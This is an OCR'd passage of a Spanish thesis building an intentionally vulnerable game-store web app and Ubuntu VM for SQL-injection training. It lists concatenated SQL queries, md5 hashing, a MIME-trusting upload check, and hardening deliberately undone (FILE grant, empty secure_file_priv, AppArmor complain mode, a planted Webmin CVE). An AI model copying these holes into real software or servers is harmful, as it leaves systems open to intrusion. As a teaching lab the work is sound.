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e Pantalla del perfil del administrador

En el perfil del administrador se presentaran dos secciones, para la del lado
izquierdo mostrard su informacién personal junto con un botéon de acceso al
panel de administrador, y la otra del lado derecho que incluird un formulario
para cambiar la contrasefa, con un boton para confirmar el cambio. Debajo de
este apartado se ubicardn mas opciones que cumplirdn las mismas funciones
que las de un usuario normal, con la diferencia de que, para actualizar sus datos,

deberd hacerlo desde el panel (ver Figura 21).
O O O Perfil - Admin

[Header]

Cambiar Contrasefia

nombre_usuario

UG

[Footer]

Figura 21: Interfaz - perfil admin.
e Pantalla de inicio de sesion para el panel de administracion

El panel de administracion tendra su propio inicio de sesion, que contard con un
formulario de autenticacion que tendra dos campos de texto para ingresar el
nombre de usuario y la contrasefa, seguidos de un boton etiquetado como

“Ingresar al Panel” (ver Figura 22).
O O O login

Panel de Administrador

Accese restringldo selo para administraderes

Ingresar al Pane!

Volver al sitio principal

Figura 22: Interfaz — inicio de sesion del panel admin.
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e Pantalla de administracion

Este apartado tendrd un header en el lado izquierdo con la informacion del

administrador y un menu de navegacion que incluye las siguientes opciones:

o Dashboard: Mostrara un resumen general de la aplicacion

o Usuarios: Permitird editar y eliminar usuarios registrados

o Transacciones: Mostrara todas las recargas realizadas por los usuarios

o Pedidos: Listara todos los juegos que hayan comprado

o Productos: Permitira agregar, editar y eliminar los juegos disponibles

o Configuraciones: Donde el administrador podra actualizar su
informacion personal y preferencias

o Cerrar sesion: opcion para salir de la cuenta de administrador.

En la parte derecha se encontrara el area principal, la cual mostrara el contenido

correspondiente a la opcion seleccionada por el usuario (ver Figura 23).

O O O Panel-Admin-Dashboard

@ Dashboard

Adninistrador

Cataloge o jusgos Total g padidas

0 0

0 jueges activos O aste mes 000 exte mes

nomore_admin

Dashboard

Usuarios

Transacciones

Pedidos

Usuarios mds activos

] [@m
=] ||[@mz

Productos

Configuraciones

Cerrar Sesién

Figura 23: Interfaz - panel de admin.
Estructura de archivos de la aplicacion web.

Con el proposito de comprender el funcionamiento de la aplicacion web de la tienda
de videojuegos, en la Tabla 3 se presenta la estructura de los archivos junto con la

descripcion de la funcién que cumple cada uno dentro del sistema.

Archivos Funcion
Assests Contiene iconos y recursos visuales que la aplicacion web
utilizara.
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Archivos Funcion

Auth Interfaz para iniciar, registrarse y cerrar sesion.

Config_db Tiene como funcién manejar la conexion de la base de datos.

Controladores | Controla las acciones que un usuario pueda realizar en la
tienda de videojuegos, ya sea enviar solicitudes o validar
datos.

CSS Son archivos .CSS que definen y controlan tanto el disefio
visual de la aplicacion web como los colores, fuentes,
margenes, etc.

Functions Son las funciones que se encargan de procesar las consultas,
recibir datos y devolver resultados de la base de datos.

Images Almacena todas las imagenes de usuarios, juegos, logos y
fondos de la aplicacion.

Includes Contiene los elementos comunes de la interfaz, que son el

header y footer de la aplicacion web.

Panel-Admin

Panel para administrar la tienda de videojuegos que es
exclusivo para el admin, teniendo sus propios controladores,

funciones y disefo.

Profile

Interfaz que muestra los perfiles de los usuarios y el

administrador de la aplicacion web.

Archivos .php
con HTML

Son archivos PHP que se combinaran con HTML para

presentar las interfaces de usuarios.

Tabla 3: Archivos de la aplicacion web.

3.2.3. Vulnerabilidades intencionales en la aplicacion web

Se anadieron intencionalmente vulnerabilidades en varios puntos de la aplicacién

web de la tienda de videojuegos con el objetivo de simular ataques de inyeccion

SQL. Estas debilidades afectaran los formularios de autenticacion, los campos de
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busqueda y la actualizacion de perfiles, debido a que sus consultas SQL se
construyeron mediante concatenacion directa. Ademds de incluir otras

vulnerabilidades que serviran para completar la practica.
Formulario de inicio de sesion vulnerable

La vulnerabilidad esta presente en la funcién de verificacion de credenciales de
inicio de sesion del usuario, justo en la forma en cémo se construye la consulta SQL
donde el valor de $username y $password se inserta directamente en la cadena
mediante concatenacion, sin ninglin filtrado ni uso de consultas preparadas,
permitiendo que un atacante inserte codigo SQL en el campo de usuario y manipule
las consultas. Ademads de utilizar md5() para hashear contrasefias, lo cual es una

practica de seguridad obsoleta e insegura (ver Figura 24).

=> $result->

Figura 24: Funcion de verificacion de credenciales — vulnerable.
Formulario de registro

La consulta SQL del $check query e $insert _query de la funcion para crear una
cuenta se construye de manera insegura al insertar directamente las variables
$username y $email. Esto permite que se realicen ataques de inyeccion SQL al no
tener un filtro para proteger las comillas que se ingresan, haciendo que la base de
datos interprete el texto introducido por el usuario como parte de la estructura de la

consulta, en lugar de un simple dato (ver Figura 25).
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me = '$username’ email = '$email"'";

Figura 25: Funcion registro de usuario — vulnerable.
Formulario de busqueda principal

La consulta SQL para la funcion de busqueda se estructur6 de manera que
concatena directamente las variables $search query, facilitando que los datos
ingresados se incluyan dentro de la clausula LIKE entre comillas y con el comodin
%, lo cual puede facilitar ataques de busqueda amplia. Por otro lado, las variables
$plataforma_id y $categoria id solo dejan ingresar un valor numérico, lo que
también representa otra forma de realizar una inyeccion SQL, al permitir construir
consultas maliciosas sin necesidad de colocar comillas o comentarios de fin de linea

(ver Figura 26).

$precio = *°

if

if (lempty($platafol 5
if (lempty($categoria_id) s =" fcategoria id";

Figura 26: Funcion busqueda principal — vulnerable.
Formulario de actualizar datos del usuario

Para la funcioén de actualizacion de perfil, la consulta SQL se construye mediante
concatenacion directa de las variables $username, $email, $nombre, $apellido y
$user _id. Los datos introducidos por el usuario se envian a la base de datos sin
ninguna validacion, lo que permite inyectar codigo SQL malicioso. Sin embargo,
la explotacion es mas compleja porque no se muestran directamente los resultados,
por lo que seréd necesario interpretar el comportamiento de la aplicacion (tiempos
de respuesta, mensajes de error o respuestas booleanas) para extraer informacion

(ver Figura 27).
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updateUserProfile($user_id, $username, $email, $nombre, $apellido) {
$conn;

= ‘"$username’,
$email”,

"$nombre” ,

Figura 27: Funcion de actualizacion de datos del usuario — vulnerable.
Formulario de biisqueda de transacciones

En la funciéon para busqueda de transacciones del panel de administrador, la
consulta SQL se construye mediante concatenacion directa en la variable
$busqueda, la cual tendra el comodin % junto con la clausula LIKE para hacer
busquedas parciales de texto. Al tener esto, se realizan consultas sin validacion, lo
que permite alterar su loégica. Un detalle particular de este codigo es que, al tener
habilitado el reporte completo de errores con
mysqli_reporttMYSQLI_REPORT ERROR | MYSQLI REPORT_ STRICT),
cualquier fallo de sintaxis mostrara informacion sensible sobre la base de datos y el

sistema que la ejecuta (ver Figura 28).

(lempty($busqueda)) {
$where .= " (

ﬁsql =

Swhere

$por_pagina
$result = $conn->query($sql
turn $result->fetch_all(MYSQLI_ASSOC);

Figura 28: Funcion en la busqueda de transacciones — vulnerable.
Formulario de actualizar foto de perfil del administrador

Por ultimo, esta vulnerabilidad no forma parte de las inyecciones SQL, pero siempre
suele venir acompafiada con estas y aparece en la funcion de actualizacion de la
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foto de perfil del administrador, donde la funcion para cargar una imagen de perfil
permite que $file['type'], correspondiente al encabezado enviado por el cliente en la
peticion HTTP, pueda ser facilmente manipulado, permitiendo de esta forma la
subida de archivos que sean variantes de PHP utilizando una cabecera falsa como

image/jpeg, haciendo que el codigo lo acepte como una imagen valida (ver Figura
29).

$upload_dir = e g
if s_dir($upload_dir)) mkdir($upload dir,

3

Figura 29: Funcion de actualizacion de foto del administrador — vulnerable.
3.2.4. Acceso a la base de datos por SQLi.

Lo siguiente es evidenciar que la aplicaciéon web permite acceder a la base de datos
mediante inyecciones SQL antes de su despliegue dentro de la maquina virtual. Para
esto se eligio el campo de busqueda principal debido a que permite visualizar con

claridad este acceso.

e Se ejecuta una inyeccion SQL la cual muestra el nombre de la base de datos
activa, el usuario con el que se ejecuta la conexion y la version del MYSQL

(ver Figura 30).

“mﬁm

™ ANADIR ™ ANADIR ™ ANADIR

Nexusplay_db |
Root@Localhost | 10.4.32-
MariaDB

Atomic Heart

Figura 30: Extraccion de informacion del servicio por SQLI.
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Se evidencia el acceso a la base de datos mostrando todas sus tablas
existentes dentro de las tarjetas de juegos que presenta la aplicacion web

mediante una inyeccion SQL (ver Figura 31).

NexusF

Todas las plataformas v Todas las categorias v Todos los precios v

BUSCAR LIMPIAR

9 Resultados

~

™ ANADIR ™ ANADIR W ANADIR

Figura 31: Lista de todas las tablas de bases de datos por SQLI.

3.3. FASE 3: CONFIGURACION

3.3.1. Instalacion y configuracion de la maquina virtual.

Se instald la maquina virtual utilizando la herramienta VirtualBox 7.0.10 como

hipervisor. Donde se le asigno6 el nombre de nexusplaySQLi y seleccion6 el sistema

operativo Ubuntu Server 16.04 LTS Xenial Xerus de 64 bits. En cuanto a la imagen

ISO, no se seleccionod ninguna, ya que se la configurara manualmente (ver Figura

32).

¥ Cresr maguina virtual ? X

Nombre y sistema operativo de la maquina virtual

peta destino para la nu ina ombre que ione usado por
a. Adidonalmente, pue Ccio a imagen IS0 que pue sada para instalar

MNombre:
Carpeta:

Image! do =

Tipo:

1 Ubuntu 16.04 LTS (Xenial Xerus) (64-bit)

_o No hay image: coionada, el SO invitado serd necesario instalarlo manualmente,

Ayuda Modo experto Siguiente

Figura 32: Creacion de la maquina virtual.
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El siguiente paso fue seleccionar la imagen ISO de Ubuntu Server 16.04 y
configurar sus recursos, asignandole 2048 MB de memoria, 1 CPU y un disco de
15 GB. Inicialmente, el adaptador de red se configurd en puente para permitir la
instalacion de los servicios y del CVE correspondiente al fallo de seguridad (ver
Figura 33). Al finalizar estos procesos, se cambiard a NAT, lo que permitira que
cualquier usuario pueda realizarla, ya que este tipo de conexidén proporciona

asignacion automatica de IP mediante DHCP.

E General 2 Previsualizacién

perativo:  Ubuntu
Ll Sistema

uro nexusplaySQLi

virtualizacidn KvM

Inhabilitado

[Unidad dptica] ubuntu-16.,04-server-amdé4.ise (655,00 ME)

disk001.vdi (Normal, 15,00 GB)

Controlador de anfitrién: Py

Controlador: IC
' Red
Adaptador 1 Intel P 00 (Adaptador puen ek RTLBS 8 'Cle Adapters)

B Carpetas compartidas

[=

Minguno

Figura 33: Detalles de la maquina virtual.

Luego de haber creado la maquina virtual y asignar sus recursos en VirtualBox, el
siguiente paso que se llevo a cabo fue iniciarla para realizar la instalacion de Ubuntu
Server 16.04. Con el objetivo de garantizar su correcto funcionamiento, se

realizaron las siguientes configuraciones esenciales:

» Primero, se selecciond el espafiol como idioma para el servidor y la
distribucion de teclado,

» Después se le dio el nombre nexusplaySQLi a la maquina virtual para
identificarla en la red,

» Ya que Ubuntu Server no permite iniciar sesiéon con root, se cred un nuevo

usuario con su respectiva contrasefia para tener acceso al sistema.
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» En las particiones del disco se selecciono la opcion “Utilizar todo el disco”,
ya que solo se cuenta con un solo disco duro. Con esta accidon se crearon
automaticamente dos particiones: una con 2.1 GB, que es para el area de
intercambio (swap), destinada a evitar que el sistema colapse cuando la
memoria RAM se sature, y la otra con 14GB para el sistema de archivos,
donde se alojaran los paquetes, registros y servicios basicos.

» En el apartado destinado al proxy de red se dejo en blanco, dado que, al
tratarse de un servidor simulado, no se hara uso de esta funcionalidad.

» Para evitar que se alteren las configuraciones al instalar los servicios
necesarios para la maquina virtual, se eligi6 para el tasksel la opcidon “sin
actualizaciones automaticas”.

» Respecto a las opciones de programas a instalar, no se seleccion6 ninguno,
puesto que seran instalados y configurados manualmente una vez finalizada
la instalacion base del sistema.

» Aunque no resulte necesario para este entorno, se incluyo la instalacion del
“cargador de arranque GRUB”, esto para asegurar que el sistema pueda
iniciarse correctamente en cualquier situacidbn y no presente ningin

problema.

Tras completar todos estos procesos, se reinicid e inicid la maquina virtual,
presentando la pantalla de inicio de Ubuntu Server listo para usarse (ver Figura

34).

]

Arehivo Maquina Ver Entrada Dispositvos Ayuda

Ubuntu 16.04 LTS nexusplaySQLi ttyl

mexusplagSLi login:

BOWT &8 E NS @0 cromecn)

Figura 34: Inicio de la maquina virtual — nexusplaySQLi.
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3.3.2. Configuracion de los usuarios del servidor.

Se cambiaron los niveles de acceso de los usuarios del sistema utilizando los
comandos passwd root, que serd para modificar la contrasefia de root, y deluser
username sudo para eliminar los privilegios de administracion del usuario creado

inicialmente (ver Figura 35). Esto va a restringir su capacidad de ejecutar

comandos con permisos elevados y dejandolo como un usuario estandar.

root@nexusplaysQLi:/# passwd root

Introduzca la nueva contrasefia de UNIX:

Uuelva a escribir la nueva contrasefia de UNIX:
passwd: passuord updated successfully

rootenexusplaySQLi:/#t deluser pedri sudo
Eliminando al usuario "pedri’ del grupo "sudo’
Hecho .

root@mexusplaysiLi: 4 _

Figura 35: Cambio de contraseiia y permisos.
3.3.3. Iniciar los servicios en el sistema.

Para iniciar cada uno de los servicios esenciales que se utilizaran en la maquina

virtual, se realiz6 lo siguiente:

» Instalacion de los servicios: Se instalaron los servicios SSH, MySQL (el
cual solicitd una contrasefia para el usuario predeterminado) y Apache2

utilizando los siguientes comandos:
e apt install openssh-server -y
e apt install mysql-server -y
e aptinstall apache2 -y

» Inicio de los servicios: Se inici6 y se verifico el funcionamiento de los

servicios con los comandos:
e systemctl start ssh
e systemctl status ssh
e systemctl start mysql
e gsystemctl status mysql

e gsystemctl start apache2
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e systemctl status apache2

» Configuracion para inicio automatico: Finalmente, se configuré cada
servicio para que se inicie automaticamente al encender el servidor

mediante los siguientes comandos:
e gsystemctl enable ssh
e systemctl enable mysql
e systemctl enable apache2

Tras haber instalado, iniciado y configurado para ejecutarse automaticamente los
servicios en la maquina virtual, se procedid a utilizar los comandos “ssh -V”,
“mysql -V y “apache2 -v” con el fin de verificar la version de cada uno de los

servicios instalados (ver Figura 36).

root@nexusplaySQLi: # ssh -V
Open33H_7.2p2 Ubuntu-4ubuntuZ.10, Open3SL 1.0.2g-fips 1 Mar 2016
root@nexusplaySQLi: # mysql -V

mysql Ver 14.14 Distrib 5.7.33, for Linux (x86_64) using EditLine wrapper
rootBnexusplaysQLi:-# apacheZ -v

server version: ApachesZ.4.18 (Ubuntu)

Server built: Z2020-08-12T21:35:50

Figura 36: Versiones de los servicios SSH, MySQL y Apache.

Para que la maquina virtual funcione correctamente y sus servicios puedan ser
detectados durante un escaneo, se afadieron reglas en el firewall mediante el
comando ufw allow [puerto], para permitir habilitar los puertos 22 (SSH) para
conexiones remotas al servidor, 80 (HTTP) para acceder al servidor web desde un

navegador y 3306 (MySQL) para conexiones a la base de datos (ver Figura 37).

rootinexusplay:-#f ufw allow B8O

Regla atfiadida

Regla atnadida (vb)

rootfnexusplay:-# ufw allow 3306-tcp
Regla atnadida

Regla atiadida (vb)
root@nexusplay:-#ft ufu allow 22
Regla atadida

Regla atiadida (vb)
rootinexusplay: #

Figura 37: Reglas de firewall afiadidas.
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Hecho lo anterior, se procedid a ejecutar el comando “ufw enable”, que activara el
firewall, aplicara las reglas configuradas y las hara persistentes. Acto seguido, se

verifico su correcta aplicacion con “ufw status numbered” (ver Figura 38).

rootBnexusplaySQLi: # ufw enable

El cortafuegos esta activo y habilitado en el arranque del sistema
rootBnexusplaysQLi:# ufw status numbered

Estado: activo

Accidn

fAinywhere

[

[ 3306-tcp fAinywhere
[ 8o fAinywhere
[ ZZ (ub) fAinywhere
[ 3306-tcp (wb) fAinywhere
[ 80 (uvb) fAinyuwhere

root@nexusplaySQLi:# _

Figura 38: Activacion y verificacion del firewall.
3.3.4. Despliegue de la aplicacion web vulnerable.

Para que la aplicacién web vulnerable se pueda desplegar en la méaquina, primero

se verifico la direccion IP del servidor mediante el comando “ip add” (ver Imagen
39).

root@nexusp lay
1: lo: <LOOFPBACK,UP,LOMER_UP> mtu 65536 gdisc nogqueuwe state UNKNOWN group default glen 1
link-loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1-8 scope host lo
valid_1ft forever preferred_lft forever
inetb 1-128 scope host
valid_Ift forever preferred_Ift forever
Z: enp0s3: <BROADCAST,MULTICAST,UP,LOUER_UP> mtu 1500 gdisc pfifo_fast state UP group default
000

link-sether 08:00:27:29:aa:ab brd £f:ff:ff:ff:ff:fFf

inet 192.168.100.150-24 brd 192.168.100.255 scope global enpOs3
valid_1ft forever preferred_lft forever

inet6 ZBOO:bfO:aB2a:123f :a00:27ff :fef9:aaabs64 scope global mngtmpaddr dynamic
valid_Ift 259167=ec preferred 1ft 172767sec

inet6 feB0::a00:27ff :fed9:aaabs64 scope link
valid_1ft forever preferred_Ift forever

root@nexusplay3QLi: -4

Figura 39: Direccion IP de la maquina virtual con adaptador puente.

Con la IP del servidor identificada, se accedié al CMD de la computadora local y

se ejecuto el comando:

scp "C:\Users\Usuario\Documents\UICII\nexusplay_db.sql"
pedri@192.168.100.150:/home/pedri/

El cual gener6 una copia del archivo SQL que se encuentra en la computadora local

al usuario estandar del servidor (ver Figura 40).

C:\Users\Usuario>sep "C:\Users\Usuario\Docunents\UICIT\nexusplay_db.sqL" pedrig192.168.106.150: /home/pedri/
pedri@192.168.100.150's password:

nexusplay_db. sql 106% 338 3.5MB/s ©0:00

Figura 40: Archivo nexusplay db.sql al servidor por el CMD.
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Debido a que la ejecucion manual de comandos en la maquina puede resultar
compleja, se utilizd simbolo de sistema (CMD) para establecer una conexion
remota con el servidor y facilitar la ejecucion de comandos. Ademas, se verifico

que el archivo SQL se haya copiado correctamente en el servidor (ver Figura 41).

C:\Users\Usuario>ssh pedri@192.168.100.150
pedri@l92.168.100.150"'s password:
Welcome to Ubuntu 16.84 LTS (GNU/Linux 4.u.8-21-generic x86_6U)

* Documentation: https://help.ubuntu.com/

Pueden actualizarse 275 paquetes.
181 actualizaciones son de seguridad.

New release '18.0U4.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon Oct 20 21:29:21 2025 from 192.168.100.127
:~$ 1s
nexusplay_db.sql

Figura 41: Conexion por SHH mediante el CMD de la computadora local.

Con el fin de simular una mala préctica de seguridad, se ingresé a MySQL como
usuario root y se cre6 una base de datos destinada al nuevo usuario que sera anadido
en MySQL. A este usuario se le asignd la misma contraseiia que tiene el usuario
estandar del servidor y se le otorgaron privilegios de FILE para que pueda leer y

escribir archivos dentro del sistema (ver Figura 42).

root@nexusplaySQLi: /# mysql —u root —p

Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 7

Server version: 5.7.33-8ubuntuf.l16.84.1 (Ubuntu)

Copyright (c) 2000, 2821, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
oWners.

Type 'help;*® or '\h' for help. Type '\c' to clear the current input statement.

mysql> CREATE DATABASE nexusplay_db;
Query OK, 1 row affected (8.82 sec)

mysql> CREATE USER 'anthony2825'@'localhost' IDENTIFIED BY 'D3nj1@@CHAINSMUNP®;
Query OK, O rows affected (0.06 sec)

mysql> GRANT ALL PRIVILEGES ON nexusplay_db.* TO 'anthony2025'@'localhost’;
Query OK, © rows affected (0.83 sec)

mysql> GRANT FILE ON *.* TO 'anthony2825'@'localhost’;
Query OK, ® rows affected (0.00 sec)

mysql> FLUSH PRIVILEGES;
Query OK, @ rows affected (8.83 sec)

Figura 42: Creacion y configuracion para la base de datos y usuario de mysql.
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Con la base de datos creada en MySQL, se procedi6 a importar el contenido del

archivo .sql mediante el comando:
mysql -u anthony2025 -p nexusplay db </home/pedri/nexusplay db.sql;

Una vez completada, se ingres6 a MySQL con el usuario recién creado y se
selecciono la base de datos, para verificar con SHOW TABLES que el archivo SQL

se haya transferido con éxito (ver Figura 43).

Type ‘help;" or '\h' for help. Type '\c' to clear the current input statement.

mysql> SHOW TABLES;

carrito
carteras
categorias
codigos_juegos
detalles_pedido
juegos
movimientos_cartera
pedidos
plataformas
resenas
tarjetas
tipo_user

13 rows in set (0.80 sec)

Figura 43: Verificacion de tablas en MySQL.
Antes de seguir con el despliegue de la aplicacion web vulnerable, se instalaron las
librerias de PHP utilizando el siguiente comando:
apt install php libapache2-mod-php php-mysql -y
Estas librerias sirven para que el servidor web Apache pueda ejecutar aplicaciones
desarrolladas en PHP que usen bases de datos MySQL.

Lo siguiente que se realizo fue el despliegue de la aplicacion web en el directorio
de Apache /var/www/html/. Para esto se utilizo el siguiente enlace:

https://github.com/AnthoP4023/nexusplay_app.git, que es el repositorio donde se

encuentra la aplicacion web vulnerable y fue creado para facilitar su despliegue (ver

Figura 44).
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https://github.com/AnthoP4023/nexusplay_app.git

[ e———

Figura 44: Aplicacion web vulnerable subida en GitHub.

A partir de este repositorio se clono la aplicacion web en el servidor utilizando el

comando "

git clone https://github.com/AnthoP4023/nexusplay app.git
APM nexusplay" y se verifico que la operacion se realizé correctamente con el

comando “Is” (ver Figura 45).

root@nexusplaySQLi: /var/www/html# sudo git clone https://github.com/AnthoPU823/nexusplay_app.git APM_nexusplay
Clonar en «APM_nexusplay»...

remote: Enumerating objects: 5189, done.

remote: Counting objects: 1088% (79/79), done.

remote: Compressing objects: 108% (55/55), done.

remote: Total 5109 (delta U8), reused U6 (delta 24), pack-reused 5030 (from 2)

Receiving objects: 100% (5109/5109), U45.27 MiB | 10.15 MiB/s, done.
Resolving deltas: 100% (1199/1199), done.

Comprobando la conectividad.. hecho.

root@nexusplaySQLi: /var/www/html# 1s

Figura 45: Clonacion de la aplicacion web.

Una vez clonada la aplicacion web, se ingreso a su directorio y se utilizo el comando
“rm -rf .git” para eliminar el directorio oculto que viene incluido al descargarlo
desde el repositorio GitHub y, para comprobar que se haya eliminado con éxito, se
ejecutd el comando “11” para ver todos los directorios, incluso los que estan ocultos

(ver Figura 46).

root@nexusplaySQLi: /var/www/html/APM_nexusplay# rm —rf .git
root@nexusplaySQLi: /var/www/html/APM_nexusplay# 11

total 152
drwxr—xr—-x 1
drwxr—xr-x
—-rw—-r—r——
drwxr—xr—x
drwxr—xr—x
—-rw—r—r—
—-rw—r—r—
drwxr—xr—x
drwxr—xr-x
drwxr—xr—x
—-rw—-r—r——
drwxr—xr—x
—-rw—r—r—
—-rw—r—r—
drwxr—xr—x
drwxr—xr-x
—-rw—-r—r——
drwxr—xr—x
drwxr—xr—x
—-rw—r—r—
—-rw—r—r—

root root U896 oct 20 21:42 _/

root root U896 oct 20 21:41 /

root root 12060 oct 20 21:41 agg_card.php
root root U096 oct 20 21:41 /
root root U096 oct 20 21:41 /

root root 12201 oct 20 21:41 buy_game.php
root root 18064 oct 28 21:U41 cart.php
root root U896 oct 20 21:41

root root U896 oct 20 21:41

root root U096 oct 20 21:41 /

root root U573 oct 20 21:41 evento.php
root root U096 oct 20 21:41 o
root root 12866 oct 20 21:41 game_code.php
root root 18554 oct 20 21:41 game_view.php
root root U896 oct 20 21:41

root root U896 oct 20 21:41 /
root root 15718 oct 20 21:41 index.php
root root U096 oct 20 21:41

root root U096 oct 20 21:41 ¥
root root 18751 oct 20 21:41 recharge.php
root root 6647 oct 20 21:41 search.php

HFRFEOFRFNOFFEFNFEFNNNHEFENMNWEWN

Figura 46: Eliminacion del directorio oculto.
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Para evitar que los archivos y subdirectorios de la aplicacion web vulnerable queden
con los permisos del superusuario root, se cambid la propiedad al usuario

predeterminado de Apache con los siguientes comandos:
chown -R www-data:www-data APM_nexusplay

Modifica de forma recursiva todos los archivos y subdirectorios dentro de la carpeta
de la aplicacién web, asignando como propietario y grupo al usuario www-data,
garantizando que el servidor web tenga control sobre ellos sin depender de permisos

de root.
chmod -R 755 APM_nexusplay

Haré que se otorguen los permisos de lectura, escritura y ejecucion al propietario
de la carpeta, que en este caso sera www-data, mientras que los demas usuarios solo

podran leer y ejecutar los archivos, reforzando asi la seguridad de la aplicacion.

Una vez ejecutados los comandos anteriores, se comprobo que los permisos de los
directorios y archivos de la aplicacion web se hayan actualizado correctamente al

usuario www-data (ver Figura 47).

root@nexusplaySQLi: /var/www/html/APM_nexusplay#
total 152

drwxr-xr-x 12 www-data www-data U096 oct 20 21:
drwxr—-xr—x root root 4e96 oct 208 21:
—IWXI—Xr—X waw—data www—data 12060 oct 20 21:
drwxr-xr—x www—data www—data 4896 oct 20 21:
drwxr—-xr—x www—data www—data U896 oct 20 21:
—IWXI—XIr—X waw—data www—data 12201 oct 20 21:
—IWXI—Xr—X www—data www—data 10064 oct 20 21:
drwxr-xr-x www—data www—-data U896 oct 20 21:
drwxr—-xr—x www—data www—data 4896 oct 20 21:
drwxr—-xr—x waw—data www—data U896 oct 20 21:
—IWXI—Xr—X waw—data www—data U573 oct 20 21:
drwxr-xr-x www—data www—data U896 oct 20 21:
—TWXI—XI—X www—data www—data 12066 oct 20 21:
—I'WXI—XIr—X www—data www—data 10554 oct 20 21:
drwxr—-xr—x waw—data www—data U896 oct 20 21:
drwxr-xr-x www—data www—data U896 oct 20 21:
—IWXI—XI—X www—data www—data 15718 oct 20 21:
drwxr—xr—x www—data www—data U096 oct 20 21:
drwxr—-xr—x waw—data www—data U896 oct 20 21:
—IWXI—Xr—X wiw—data www—data 10751 oct 20 21:
—IWXI=XI—X www—data www—data 6647 oct 20 21:

FREORNMNORFEFMNMREFNNNEFRFNDWREW

Figura 47: Permisos de archivos y directorios de la aplicacion.

Como la aplicacion web esta en un directorio, se modificé el DocumentRoot, que
es la ruta que Apache utiliza para mostrar el sitio web por defecto. Para ello, se

utilizé el comando sudo nano /etc/apache2/sites-available/000-default.conf para
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cambiar la ruta predeterminada, agregando el directorio

/var/www/html/APM _nexusplay (ver Figura 48).

GNU nano 2.5.3 Archivo: .../sites-available/008-default.conf Modificado

<VirtualHost *:80>

# The ServerName directive sets the request scheme, hostname and p$
# the server uses to identify itself. This is used when creating

# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: heade$
# match this virtual host. For the default virtual host (this file$
# value is not decisive as it is used as a last resort host regard$
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/APM_nexusplay/

# Available loglevels: trace8, ..., tracel, debug, info, notice, w$
# error, crit, alert, emerg.

# It is also possible to configure the loglevel for particular

# modules, e.g.

#LogLevel info ssl:warn

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

Figura 48: Modificacion del archivo por defecto de Apache.

Para que los ataques de inyeccion SQL puedan tener un mayor alcance y permitir
lograr obtener informacion del sistema, se procedio a configurar los permisos de
MySQL para habilitar ciertos accesos. Esto evita bloqueos relacionados con las
restricciones del sistema de archivos y facilita la lectura o escritura de datos a través

de consultas maliciosas.

La primera modificacion que se realizd fue acceder a las configuraciones de
MySQL, ubicadas en el archivo mysqld.cnf, donde se anadié y se dejé vacio el

parametro "secure file priv" (ver Figura 49).

[mysqld]
#

# * Basic Settings
#

user
pid—File
socket
port
basedir
datadir
tmpdir Stmp
lc—messages—dir Jusr/share/mysql
ship—external—locking

mysql
Svar/run/mysqld/mysqld. pid
Svar/run/mysqld/mysqld. sock
3386

Jusr

Svar/lib/mysql

secure_file_priv =

Figura 49: Parametro “secure_file priv” afiadido.

Lo que hard esta accion es eliminar la limitacion que MySQL impone al momento

de exportar o importar archivos mediante sentencias como LOAD, DATA, INFILE,
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SELECT o INTO OUTFILE, lo que permite que, a través de inyecciones SQL, se

puedan generar archivos o extraer informacion directamente desde el servidor.

Para que los cambios realizados en los directorios de MySQL se guarden, se reinicid
su servicio con el comando “systemctl restart mysql”. Seguido de esto, se verifico

que el nuevo parametro esté presente en MySQL (ver Figura 50).

Type 'help;' or '\h' for help. Type '\c' to clear the current input stat
ement.

mysql> SHOW VARIABLES LIKE 'secure_file_priv';
+

------------------ ———— 4
| variable_name | value |

| secure_file_pri
— S +
1 row in set (0.08 sec)

mysql>

Figura 50: Verificacion del parametro secure_file priv.

La segunda modificacion que se realizo fue en los permisos del directorio users,
que es donde se almacenan las fotos de perfil de los usuarios de la aplicacion web,

mediante los siguientes comandos:
setfacl -R -m u:www-data:rwx,u:mysql:rwx users
setfacl -R -d -m u:www-data:rwx,u:mysql:rwx users

Estos comandos establecen los permisos rwx por defecto y afiaden reglas ACL
(Lista de Control de Acceso), lo que garantiza que los usuarios www-data y MySQL
tengan lectura, escritura y ejecucion en el directorio users, sin que los permisos

establecidos previamente con chmod interfieran (ver Figura 51).

root@nexusplaySQLi: /var/www/html/APM_nexusplay/imagest# setfacl -R -m u:www-data:rwx,u:mysql:rwx users
root@nexusplaySQLi: /var/www/html/APM_nexusplay/imagest# setfacl -R -d -m u:www-data:rwx,u:mysql:rwx users
root@nexusplaySQLi: /var/www/html/APM_nexusplay/imagest 11

total 24

drwxr-xr-x 5 www-data www-data 4896 oct 20 21:41 ./

drwxr-xr-x 12 www-data www-data U896 oct 20 21:42 ../
drwxr-xr-x 2 www-data www-data 4896 oct 20 21:Ul
drwxr-xr-x 2 wiw-data www-data U896 oct 20 21:U1
drwxrwxr-x+ 2 www-data www-data 4896 oct 20 21:U1

Figura 51: Permisos del directorio de imdagenes users modificado.

Por ultimo, se configur6 AppArmor para que los ataques de inyeccién SQL puedan
acceder a archivos o rutas especificas sin ser bloqueados. Para esto, se utilizaron los
comandos "apt-get install -y apparmor-utils" para instalar todas las herramientas y

"aa-complain /usr/sbin/mysqld" para cambiar el perfil de MySQL a modo complain,

57



este ultimo esencial para permitir el acceso a los recursos del sistema sin

restricciones (ver Figura 52).

Desempaquetando apparmor—utils (2.10.95-8ubuntu2.12)
Procesando disparadores para man—-db (2.7.5-1) ...
Configurando python3-libapparmor (2.18.95-Bubuntu2.12)
Configurando python3—apparmor (2.18.95-8ubuntu2.12)

Configurando apparmor-utils (2.10.95-Bubuntu2.12)
root@nexusplaySQLi: /# aa—complain fusr/sbin/mysqld
Setting fusr/sbin/mysqld to complain mode.
root@nexusplaySQLi: /#

Figura 52: Configuracion de AppArmor para MySQL.
3.3.5. Incorporacion del fallo de seguridad

Con el fin de completar la explotacion de la maquina, para realizar el escalado de
privilegios y obtener acceso al usuario root, se incorporo el fallo de seguridad de
Webmin version 1.890, identificado como CVE-2019-15107, el cual tiene una

gravedad critica de ser explotado (ver Figura 53). Esta vulnerabilidad permite la

